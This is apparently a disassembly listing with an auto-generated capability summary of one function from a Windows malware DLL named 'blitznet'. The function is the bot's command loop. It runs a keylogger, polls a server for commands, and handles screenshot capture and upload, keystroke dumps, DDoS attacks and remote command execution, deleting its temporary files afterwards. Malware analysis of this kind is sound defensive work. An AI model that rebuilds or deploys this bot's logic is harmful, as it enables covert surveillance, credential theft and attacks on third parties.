Function at 0x6a944927
Capabilities:
Check mutex on windows
Delete file
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4d8
lea r8, str.blitznet
mov edx, 1
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x6a94d0c0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x6a944f90
lea rcx, [0x6a94d0c8]
xor r8d, r8d
lea rdx, [0x6a94d0d0]
call sub.gdiplus.dll_GdiplusStartup
lea r14, [rsp + 0xc0]
lea r15, [rsp + 0x60]
call sym.main.dll_set_keylog_name__
lea rax, [rsp + 0x70]
mov rcx, r14
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0xb0]
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x88], 0
mov byte [rsp + 0x90], 0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 0
mov byte [rsp + 0xb0], 0
call sym.main.dll_get_uuid_abi:cxx11___
mov qword [rsp + 0x38], 0
mov ecx, 0x20
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
lea rsi, fcn.6a946e80
mov qword [rax + 8], rdi
xor r8d, r8d
lea r12, [rsp + 0x2f0]
mov qword [rax], rsi
lea rsi, [sym.main.dll_restart_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_]
lea rcx, [rsp + 0x38]
mov rdx, r12
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rsi
mov qword [rsp + 0x2f0], rax
call fcn.6a945198
mov rcx, r12
call fcn.6a94149e
mov ecx, 0x10
mov qword [rsp + 0x40], 0
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
lea rsi, fcn.6a946ed0
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov rdx, r12
mov qword [rax], rsi
lea rsi, [sym.main.dll_keylogger_job__]
mov qword [rax + 8], rsi
mov qword [rsp + 0x2f0], rax
call fcn.6a945198
mov rcx, r12
lea rsi, str.___Changed_dir_n
call fcn.6a94149e
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
jmp 0x6a944af3
mov r9d, ebx
mov r8, r15
lea rcx, [0x6a94d0a0]
mov rdx, r12
call fcn.6a943701
mov ebx, eax
mov rcx, r12
call fcn.6a945188
cmp ebx, 0xe8
je 0x6a944b0d
mov r8, r14
lea rdx, str._get_command_
mov rcx, r12
mov ebx, dword [0x6a948010]
call fcn.6a947290
jmp 0x6a944acc
cmp qword [rsp + 0x68], 0
je 0x6a944af3
lea rdx, str.INVALID_UUID
mov rcx, r15
call fcn.6a945228
test eax, eax
jne 0x6a944b30
mov rcx, rdi
call sym.main.dll_start_new_process_char_
mov rcx, qword [rsp + 0x28]
mov rdx, r15
call fcn.6a941e31
mov rcx, qword [rsp + 0x48]
lea rdx, [0x6a9497f6]
lea r13, [rsp + 0x120]
call fcn.6a945228
mov rcx, qword [rsp + 0x48]
test eax, eax
jne 0x6a944b87
mov rcx, qword [rcx + 0x20]
call sub.msvcrt.dll__chdir
test eax, eax
lea rdx, str.____Failed_to_cd_n
lea rcx, [rsp + 0x80]
cmove rdx, rsi
call fcn.6a945110
jmp 0x6a944d92
lea rdx, str.screenshot
call fcn.6a945228
test eax, eax
jne 0x6a944c55
mov edx, 0x20
mov rcx, r12
call fcn.6a943ea3
lea rbp, [rsp + 0x100]
lea rdx, [0x6a94918c]
mov rcx, rbp
call fcn.6a942f04
lea rcx, str.TEMP
call sub.msvcrt.dll_getenv
mov r8, rbp
mov rcx, r13
mov rdx, rax
call fcn.6a947260
lea rbx, [rsp + 0xe0]
mov r8, r12
mov rdx, r13
mov rcx, rbx
call fcn.6a9471e0
mov rcx, r13
call fcn.6a945188
mov rcx, rbp
call fcn.6a945188
mov rcx, r12
call fcn.6a945188
mov rcx, rbx
call fcn.6a94169a
mov r8, r14
lea rdx, str._send_screenshot_
mov rcx, r12
call fcn.6a947290
lea r9, [rsp + 0xa0]
mov r8, rbx
mov rdx, r12
lea rcx, [0x6a94d0a0]
call fcn.6a94306d
mov rcx, r12
call fcn.6a945188
mov rcx, qword [rsp + 0xe0]
call sub.msvcrt.dll_remove
jmp 0x6a944e63
mov rcx, qword [rsp + 0x48]
lea rdx, str.ddos
call fcn.6a945228
test eax, eax
jne 0x6a944cb9
mov rdx, r15
mov rcx, r12
call fcn.6a945120
mov rdx, r12
mov rcx, r13
call fcn.6a941f39
mov rcx, r12
call fcn.6a945188
mov rax, qword [rsp + 0x120]
mov rcx, qword [rax + 0x40]
call sub.msvcrt.dll_atoi
mov edx, eax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rax + 0x20]
call sym.main.dll_ddos_char_const__int_
mov rcx, r13
call fcn.6a94153c
jmp 0x6a944e6b
mov rcx, qword [rsp + 0x48]
lea rdx, str.keydump
call fcn.6a945228
test eax, eax
jne 0x6a944d6f
mov r8d, 0x18
lea rdx, [0x6a94d040]
mov rcx, r12
call fcn.6a9451f0
cmp dword [rsp + 0x3e8], 0
je 0x6a944d16
mov r8d, 0x10
lea rdx, [0x6a94d040]
mov rcx, r13
call fcn.6a9451a8
mov rcx, r13
call fcn.6a9451b8
mov rcx, r13
call fcn.6a9451a0
mov rcx, r12
call fcn.6a9451f8
mov r8, r14
lea rdx, str._send_keys_
mov rcx, r13
call fcn.6a947290
lea r9, [rsp + 0xa0]
lea r8, [0x6a94d040]
mov rdx, r13
lea rcx, [0x6a94d0a0]
call fcn.6a94306d
mov rcx, r13
call fcn.6a945188
mov rcx, qword [0x6a94d040]
call sub.msvcrt.dll_remove
mov rcx, r12
call fcn.6a9451e8
jmp 0x6a944e6b
mov rdx, r15
mov rcx, r12
call fcn.6a943cb2
lea rcx, [rsp + 0x80]
mov rdx, r12
call fcn.6a945118
mov rcx, r12
call fcn.6a945188
lea rcx, [rsp + 0x80]
call fcn.6a9418f4
lea rdx, str.output
mov rcx, r12
mov rbx, rax
call fcn.6a942f04
lea rcx, [rsp + 0x310]
mov rdx, rbx
call fcn.6a942f04
jmp 0x6a944dc8
xor edx, edx
xor ecx, ecx
call sub.msvcrt.dll__getcwd
lea rbp, [rsp + 0x330]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0xe0], rax
mov rcx, rbp
call fcn.6a943f90
lea r8, [rsp + 0x370]
mov rdx, r12
mov rcx, r13
call fcn.6a9441ba
lea rbx, [rsp + 0x100]
mov rdx, r13
mov rcx, rbx
call fcn.6a941c80
mov rcx, r13
call fcn.6a941570
mov rcx, rbp
call fcn.6a94147e
mov rcx, r12
call fcn.6a94147e
mov r8, r14
lea rdx, str._set_output_
mov rcx, r12
call fcn.6a947290
lea r9, [rsp + 0xa0]
mov r8, rbx
mov rdx, r12
lea rcx, [0x6a94d0a0]
call fcn.6a943a2e
mov rcx, r12
call fcn.6a945188
mov rcx, rbx
call fcn.6a945188
mov rcx, qword [rsp + 0x28]
call fcn.6a94153c
jmp 0x6a944af3
mov eax, 1
add rsp, 0x4d8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret